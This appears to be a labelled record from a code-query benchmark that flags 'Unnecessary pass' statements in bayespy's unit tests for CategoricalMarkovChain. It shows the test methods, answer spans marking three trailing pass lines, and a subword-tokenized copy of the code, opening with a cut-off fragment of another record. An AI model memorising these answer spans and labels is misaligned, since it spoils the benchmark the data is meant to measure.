"\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "len_", "(_", "table_", "._", "split_", "(_", "'\\\\", "n", "'_", ")_", ")_", ",_", "11_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "->", " ", "Check", " ", "tha", "t", " ", "we", " ", "have", " ", "the", " ", "right", " ", "coefficients_", "\\u\\u\\uNL\\u\\u\\u_", "offset_", "=_", "self_", "._", "model_", "._", "k", "\\u", "endo", "g_", "*_", "self_", "._", "model_", "._", "k", "\\u", "factors_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "re_", "._", "search_", "(_", "'", "sqrt", ".", "var", ".", "dl", "n", "\\u", "inv", " ", "+'_", "+_", "for", "g_", "(_", "params_", "[_", "offset_", "+_", "0_", "]_", ",_", "prec_", "=_", "4_", ")_", ",_", "table_", ")_", "is_", "None_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "re_", "._", "search_", "(_", "'", "sqrt", ".", "cov", ".", "dl", "n", "\\u", "inv", ".", "dl", "n", "\\u", "inc", " ", "+'_", "+_", "for", "g_", "(_", "params_", "[_", "offset_", "+_", "1_", "]_", ",_", "prec_", "=_", "4_", ")_", ",_", "table_", ")_", "is_", "None_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "re_", "._", "search_", "(_", "'", "sqrt", ".", "var", ".", "dl", "n", "\\u", "inc", " ", "+'_", "+_", "for", "g_", "(_", "params_", "[_", "offset_", "+_", "2_", "]_", ",_", "prec_", "=_", "4_", ")_", ",_", "table_", ")_", "is_", "None_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "re_", "._", "search_", "(_", "'", "sqrt", ".", "cov", ".", "dl", "n", "\\u", "inv", ".", "dl", "n", "\\u", "consum", "p", " ", "+'_", "+_", "for", "g_", "(_", "params_", "[_", "offset_", "+_", "3_", "]_", ",_", "prec_", "=_", "4_", ")_", ",_", "table_", ")_", "is_", "None_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "re_", "._", "search_", "(_", "'", "sqrt", ".", "cov", ".", "dl", "n", "\\u", "inc", ".", "dl", "n", "\\u", "consum", "p", " ", "+'_", "+_", "for", "g_", "(_", "params_", "[_", "offset_", "+_", "4_", "]_", ",_", "prec_", "=_", "4_", ")_", ",_", "table_", ")_", "is_", "None_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "re_", "._", "search_", "(_", "'", "sqrt", ".", "var", ".", "dl", "n", "\\u", "consum", "p", " ", "+'_", "+_", "for", "g_", "(_", "params_", "[_", "offset_", "+_", "5_", "]_", ",_", "prec_", "=_", "4_", ")_", ",_", "table_", ")_", "is_", "None_", ",_", "False_", ")_", "\\u\\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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unnecessary pass
bayespy/bayespy/bayespy/inference/vmp/nodes/tests/test_categorical_markov_chain.py
[ { "content": " def test_init(self):\n \"\"\"\n Test the creation of CategoricalMarkovChain object\n \"\"\"\n\n #\n # Plates\n #\n \n p0 = np.random.dirichlet([1, 1])\n P = np.random.dirichlet([1, 1], size=(3,2))\n Z = CategoricalMarkovChain(p0, P)\n self.assertEqual((), Z.plates, msg=\"Incorrect plates\")\n self.assertEqual(((2,),(3,2,2)), Z.dims, msg=\"Incorrect dimensions\")\n \n p0 = np.random.dirichlet([1, 1], size=(4,))\n P = np.random.dirichlet([1, 1], size=(3,2))\n Z = CategoricalMarkovChain(p0, P)\n self.assertEqual((4,), Z.plates, msg=\"Incorrect plates\")\n self.assertEqual(((2,),(3,2,2)), Z.dims, msg=\"Incorrect dimensions\")\n \n p0 = np.random.dirichlet([1, 1])\n P = np.random.dirichlet([1, 1], size=(4,3,2))\n Z = CategoricalMarkovChain(p0, P)\n self.assertEqual((4,), Z.plates, msg=\"Incorrect plates\")\n self.assertEqual(((2,),(3,2,2)), Z.dims, msg=\"Incorrect dimensions\")\n\n # Test some overflow bugs\n p0 = np.array([0.5, 0.5])\n P = Dirichlet(1e-3*np.ones(2),\n plates=(2,))\n Z = CategoricalMarkovChain(p0, P,\n states=2000)\n u = Z._message_to_child()\n self.assertTrue(np.all(~np.isnan(u[0])), \n msg=\"Nans in moments\")\n self.assertTrue(np.all(~np.isnan(u[1])), \n msg=\"Nans in moments\")\n \n pass", "metadata": "root.TestCategoricalMarkovChain.test_init", "header": "['class', 'TestCategoricalMarkovChain', '(', 'misc', '.', 'TestCase', ')', ':', '___EOS___']", "index": 22 }, { "content": " def test_message_to_child(self):\n \"\"\"\n Test the message of CategoricalMarkovChain to child\n \"\"\"\n\n with warnings.catch_warnings():\n warnings.simplefilter(\"ignore\", RuntimeWarning)\n\n # Deterministic oscillator\n p0 = np.array([1.0, 0.0])\n P = np.array(3*[[[0.0, 1.0],\n [1.0, 0.0]]])\n Z = CategoricalMarkovChain(p0, P)\n u = Z._message_to_child()\n self.assertAllClose(u[0],\n [1.0, 0])\n self.assertAllClose(u[1],\n [ [[0.0, 1.0],\n [0.0, 0.0]],\n [[0.0, 0.0],\n [1.0, 0.0]],\n [[0.0, 1.0],\n [0.0, 0.0]] ])\n\n # Maximum randomness\n p0 = np.array([0.5, 0.5])\n P = np.array(3*[[[0.5, 0.5],\n [0.5, 0.5]]])\n Z = CategoricalMarkovChain(p0, P)\n u = Z._message_to_child()\n self.assertAllClose(u[0],\n [0.5, 0.5])\n self.assertAllClose(u[1],\n [ [[0.25, 0.25],\n [0.25, 0.25]],\n [[0.25, 0.25],\n [0.25, 0.25]],\n [[0.25, 0.25],\n [0.25, 0.25]] ])\n\n # Random init, deterministic dynamics\n p0 = np.array([0.5, 0.5])\n P = np.array(3*[[[0, 1],\n [1, 0]]])\n Z = CategoricalMarkovChain(p0, P)\n u = Z._message_to_child()\n self.assertAllClose(u[0],\n [0.5, 0.5])\n self.assertAllClose(u[1],\n [ [[0.0, 0.5],\n [0.5, 0.0]],\n [[0.0, 0.5],\n [0.5, 0.0]],\n [[0.0, 0.5],\n [0.5, 0.0]] ])\n\n # Test plates\n p0 = np.array([ [1.0, 0.0],\n [0.5, 0.5] ])\n P = np.array([ [ [[0.0, 1.0],\n [1.0, 0.0]] ],\n [ [[0.5, 0.5],\n [0.5, 0.5]] ] ])\n Z = CategoricalMarkovChain(p0, P)\n u = Z._message_to_child()\n self.assertAllClose(u[0],\n [[1.0, 0.0],\n [0.5, 0.5]])\n self.assertAllClose(u[1],\n [ [ [[0.0, 1.0],\n [0.0, 0.0]] ],\n [ [[0.25, 0.25],\n [0.25, 0.25]] ] ])\n\n # Test broadcasted state transition probabilities\n p0 = np.array([1.0, 0.0])\n P = Dirichlet([1e-10, 1e10],\n plates=(3,2))\n Z = CategoricalMarkovChain(p0, P)\n u = Z._message_to_child()\n self.assertAllClose(u[0],\n [1.0, 0])\n self.assertAllClose(u[1],\n [ [[0.0, 1.0],\n [0.0, 0.0]],\n [[0.0, 0.0],\n [0.0, 1.0]],\n [[0.0, 0.0],\n [0.0, 1.0]] ])\n\n\n pass", "metadata": "root.TestCategoricalMarkovChain.test_message_to_child", "header": "['class', 'TestCategoricalMarkovChain', '(', 'misc', '.', 'TestCase', ')', ':', '___EOS___']", "index": 63 }, { "content": " def test_random(self):\n \"\"\"\n Test random sampling of categorical Markov chain\n \"\"\"\n\n with warnings.catch_warnings():\n warnings.simplefilter(\"ignore\", RuntimeWarning)\n\n # Simple random sample\n Z = CategoricalMarkovChain([1, 0], [[0, 1],\n [1, 0]],\n states=3)\n z = Z.random()\n self.assertAllClose(z, [0, 1, 0])\n\n # Draw sample with plates\n p0 = [ [1,0], [0,1] ]\n P = [ [ [[0,1],\n [1,0]] ],\n [ [[1,0],\n [0,1]] ] ]\n Z = CategoricalMarkovChain(p0, P,\n states=3)\n z = Z.random()\n self.assertAllClose(z, [[0, 1, 0], [1, 1, 1]])\n\n # Draw sample with plates, parameters broadcasted\n Z = CategoricalMarkovChain([1, 0], [[0, 1],\n [1, 0]],\n states=3,\n plates=(3,4))\n z = Z.random()\n self.assertAllClose(z, np.ones((3,4,1))*[0, 1, 0])\n\n # Draw sample with time-varying transition matrix\n p0 = [1, 0]\n P = [ [[0,1],\n [1,0]],\n [[1,0],\n [0,1]],\n [[1, 0],\n [1, 0]] ]\n Z = CategoricalMarkovChain(p0, P,\n states=4)\n z = Z.random()\n self.assertAllClose(z, [0, 1, 1, 0])\n \n pass", "metadata": "root.TestCategoricalMarkovChain.test_random", "header": "['class', 'TestCategoricalMarkovChain', '(', 'misc', '.', 'TestCase', ')', ':', '___EOS___']", "index": 157 } ]
[ { "span": "pass", "start_line": 61, "start_column": 8, "end_line": 61, "end_column": 12 }, { "span": "pass", "start_line": 154, "start_column": 8, "end_line": 154, "end_column": 12 }, { "span": "pass", "start_line": 204, "start_column": 8, "end_line": 204, "end_column": 12 } ]
[]
1
true
[ "[CLS]_", "Un", "necessar", "y_", "pass_", "[SEP]_", "class_", "Test", "Categori", "cal", "Markov", "Chain_", "(_", "misc_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test\\u", "init_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "the", " ", "creati", "on", " ", "of", " ", "Categori", "cal", "Markov", "Chain", " ", "object", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Plat", "es_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "p0_", "=_", "np_", "._", "random_", "._", "diri", "chl", "et_", "(_", "[_", "1_", ",_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "=_", "np_", "._", "random_", "._", "diri", "chl", "et_", "(_", "[_", "1_", ",_", "1_", "]_", ",_", "size_", "=_", "(_", "3_", ",_", "2_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Z_", "=_", "Categori", "cal", "Markov", "Chain_", "(_", "p0_", ",_", "P_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "(_", ")_", ",_", "Z_", "._", "plates", "_", ",_", "msg_", "=_", "\"", "Inco", "rrect", " ", "plates", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "(_", "(_", "2_", ",_", ")_", ",_", "(_", "3_", ",_", "2_", ",_", "2_", ")_", ")_", ",_", "Z_", "._", "dims_", ",_", "msg_", "=_", "\"", "Inco", "rrect", " ", "dimension", "s", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "p0_", "=_", "np_", "._", "random_", "._", "diri", "chl", "et_", "(_", "[_", "1_", ",_", "1_", "]_", ",_", "size_", "=_", "(_", "4_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "=_", "np_", "._", "random_", "._", "diri", "chl", "et_", "(_", "[_", "1_", ",_", "1_", "]_", ",_", "size_", "=_", "(_", "3_", ",_", "2_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Z_", "=_", "Categori", "cal", "Markov", "Chain_", "(_", "p0_", ",_", "P_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "(_", "4_", ",_", ")_", ",_", "Z_", "._", "plates", "_", ",_", "msg_", "=_", "\"", "Inco", "rrect", " ", "plates", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "(_", "(_", "2_", ",_", ")_", ",_", "(_", "3_", ",_", "2_", ",_", "2_", ")_", ")_", ",_", "Z_", "._", "dims_", ",_", "msg_", "=_", "\"", "Inco", "rrect", " ", "dimension", "s", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "p0_", "=_", "np_", "._", "random_", "._", "diri", "chl", "et_", "(_", "[_", "1_", ",_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "=_", "np_", "._", "random_", "._", "diri", "chl", "et_", "(_", "[_", "1_", ",_", "1_", "]_", ",_", "size_", "=_", "(_", "4_", ",_", "3_", ",_", "2_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Z_", "=_", "Categori", "cal", "Markov", "Chain_", "(_", "p0_", ",_", "P_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "(_", "4_", ",_", ")_", ",_", "Z_", "._", "plates", "_", ",_", "msg_", "=_", "\"", "Inco", "rrect", " ", "plates", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "(_", "(_", "2_", ",_", ")_", ",_", "(_", "3_", ",_", "2_", ",_", "2_", ")_", ")_", ",_", "Z_", "._", "dims_", ",_", "msg_", "=_", "\"", "Inco", "rrect", " ", "dimension", "s", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "some", " ", "overflow", " ", "bugs_", "\\u\\u\\uNL\\u\\u\\u_", "p0_", "=_", "np_", "._", "array_", "(_", "[_", "0.5_", ",_", "0.5_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "=_", "Dir", "ich", "let_", "(_", "1e-3_", "*_", "np_", "._", "ones_", "(_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "2_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Z_", "=_", "Categori", "cal", "Markov", "Chain_", "(_", "p0_", ",_", "P_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "states_", "=_", "2000_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "u_", "=_", "Z_", "._", "\\u", "message", "\\u", "to", "\\u", "child_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "np_", "._", "all_", "(_", "~_", "np_", "._", "isnan_", "(_", "u_", "[_", "0_", "]_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "msg_", "=_", "\"", "Nan", "s", " ", "in", " ", "moments", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "np_", "._", "all_", "(_", "~_", "np_", "._", "isnan_", "(_", "u_", "[_", "1_", "]_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "msg_", "=_", "\"", "Nan", "s", " ", "in", " ", "moments", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Categori", "cal", "Markov", "Chain_", "(_", "misc_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "message", "\\u", "to", "\\u", "child_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "the", " ", "message", " ", "of", " ", "Categori", "cal", "Markov", "Chain", " ", "to", " ", "child", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "with_", "warnings_", "._", "catch", "\\u", "warnings_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "warnings_", "._", "simplefilter_", "(_", "\"", "ignore", "\"_", ",_", "Run", "time", "Warning_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Determini", "stic", " ", "oscil", "lator", "_", "\\u\\u\\uNL\\u\\u\\u_", "p0_", "=_", "np_", "._", "array_", "(_", "[_", "1.0_", ",_", "0.0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "=_", "np_", "._", "array_", "(_", "3_", "*_", "[_", "[_", "[_", "0.0_", ",_", "1.0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "1.0_", ",_", "0.0_", "]_", "]_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Z_", "=_", "Categori", "cal", "Markov", "Chain_", "(_", "p0_", ",_", "P_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "u_", "=_", "Z_", "._", "\\u", "message", "\\u", "to", "\\u", "child_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "All", "Close_", "(_", "u_", "[_", "0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "1.0_", ",_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "All", "Close_", "(_", "u_", "[_", "1_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "[_", "[_", "0.0_", ",_", "1.0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0.0_", ",_", "0.0_", "]_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "[_", "0.0_", ",_", "0.0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "1.0_", ",_", "0.0_", "]_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "[_", "0.0_", ",_", "1.0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0.0_", ",_", "0.0_", "]_", "]_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Maxim", "um", " ", "random", "ness_", "\\u\\u\\uNL\\u\\u\\u_", "p0_", "=_", "np_", "._", "array_", "(_", "[_", "0.5_", ",_", "0.5_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "=_", "np_", "._", "array_", "(_", "3_", "*_", "[_", "[_", "[_", "0.5_", ",_", "0.5_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0.5_", ",_", "0.5_", "]_", "]_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Z_", "=_", "Categori", "cal", "Markov", "Chain_", "(_", "p0_", ",_", "P_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "u_", "=_", "Z_", "._", "\\u", "message", "\\u", "to", "\\u", "child_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "All", "Close_", "(_", "u_", "[_", "0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0.5_", ",_", "0.5_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "All", "Close_", "(_", "u_", "[_", "1_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "[_", "[_", "0.25_", ",_", "0.25_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0.25_", ",_", "0.25_", "]_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "[_", "0.25_", ",_", "0.25_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0.25_", ",_", "0.25_", "]_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "[_", "0.25_", ",_", "0.25_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0.25_", ",_", "0.25_", "]_", "]_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Random", " ", "init", ",", " ", "deterministic", " ", "dynamics", "_", "\\u\\u\\uNL\\u\\u\\u_", "p0_", "=_", "np_", "._", "array_", "(_", "[_", "0.5_", ",_", "0.5_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "=_", "np_", "._", "array_", "(_", "3_", "*_", "[_", "[_", "[_", "0_", ",_", "1_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "1_", ",_", "0_", "]_", "]_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Z_", "=_", "Categori", "cal", "Markov", "Chain_", "(_", "p0_", ",_", "P_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "u_", "=_", "Z_", "._", "\\u", "message", "\\u", "to", "\\u", "child_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "All", "Close_", "(_", "u_", "[_", "0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0.5_", ",_", "0.5_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "All", "Close_", "(_", "u_", "[_", "1_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "[_", "[_", "0.0_", ",_", "0.5_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0.5_", ",_", "0.0_", "]_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "[_", "0.0_", ",_", "0.5_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0.5_", ",_", "0.0_", "]_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "[_", "0.0_", ",_", "0.5_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0.5_", ",_", "0.0_", "]_", "]_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "plates", "_", "\\u\\u\\uNL\\u\\u\\u_", "p0_", "=_", "np_", "._", "array_", "(_", "[_", "[_", "1.0_", ",_", "0.0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0.5_", ",_", "0.5_", "]_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "=_", "np_", "._", "array_", "(_", "[_", "[_", "[_", "[_", "0.0_", ",_", "1.0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "1.0_", ",_", "0.0_", "]_", "]_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "[_", "[_", "0.5_", ",_", "0.5_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0.5_", ",_", "0.5_", "]_", "]_", "]_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Z_", "=_", "Categori", "cal", "Markov", "Chain_", "(_", "p0_", ",_", "P_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "u_", "=_", "Z_", "._", "\\u", "message", "\\u", "to", "\\u", "child_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "All", "Close_", "(_", "u_", "[_", "0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "[_", "1.0_", ",_", "0.0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0.5_", ",_", "0.5_", "]_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "All", "Close_", "(_", "u_", "[_", "1_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "[_", "[_", "[_", "0.0_", ",_", "1.0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0.0_", ",_", "0.0_", "]_", "]_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "[_", "[_", "0.25_", ",_", "0.25_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0.25_", ",_", "0.25_", "]_", "]_", "]_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "broadcast", "ed", " ", "state", " ", "transiti", "on", " ", "probabilities_", "\\u\\u\\uNL\\u\\u\\u_", "p0_", "=_", "np_", "._", "array_", "(_", "[_", "1.0_", ",_", "0.0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "=_", "Dir", "ich", "let_", "(_", "[_", "1e-10_", ",_", "1e1", "0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "3_", ",_", "2_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Z_", "=_", "Categori", "cal", "Markov", "Chain_", "(_", "p0_", ",_", "P_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "u_", "=_", "Z_", "._", "\\u", "message", "\\u", "to", "\\u", "child_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "All", "Close_", "(_", "u_", "[_", "0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "1.0_", ",_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "All", "Close_", "(_", "u_", "[_", "1_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "[_", "[_", "0.0_", ",_", "1.0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0.0_", ",_", "0.0_", "]_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "[_", "0.0_", ",_", "0.0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0.0_", ",_", "1.0_", "]_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "[_", "0.0_", ",_", "0.0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0.0_", ",_", "1.0_", "]_", "]_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Categori", "cal", "Markov", "Chain_", "(_", "misc_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "random_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "random", " ", "samp", "ling", " ", "of", " ", "categor", "ical", " ", "Markov", " ", "chain", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "with_", "warnings_", "._", "catch", "\\u", "warnings_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "warnings_", "._", "simplefilter_", "(_", "\"", "ignore", "\"_", ",_", "Run", "time", "Warning_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Simple", " ", "random", " ", "sample_", "\\u\\u\\uNL\\u\\u\\u_", "Z_", "=_", "Categori", "cal", "Markov", "Chain_", "(_", "[_", "1_", ",_", "0_", "]_", ",_", "[_", "[_", "0_", ",_", "1_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "1_", ",_", "0_", "]_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "states_", "=_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "z_", "=_", "Z_", "._", "random_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "All", "Close_", "(_", "z_", ",_", "[_", "0_", ",_", "1_", ",_", "0_", "]_", ")_", 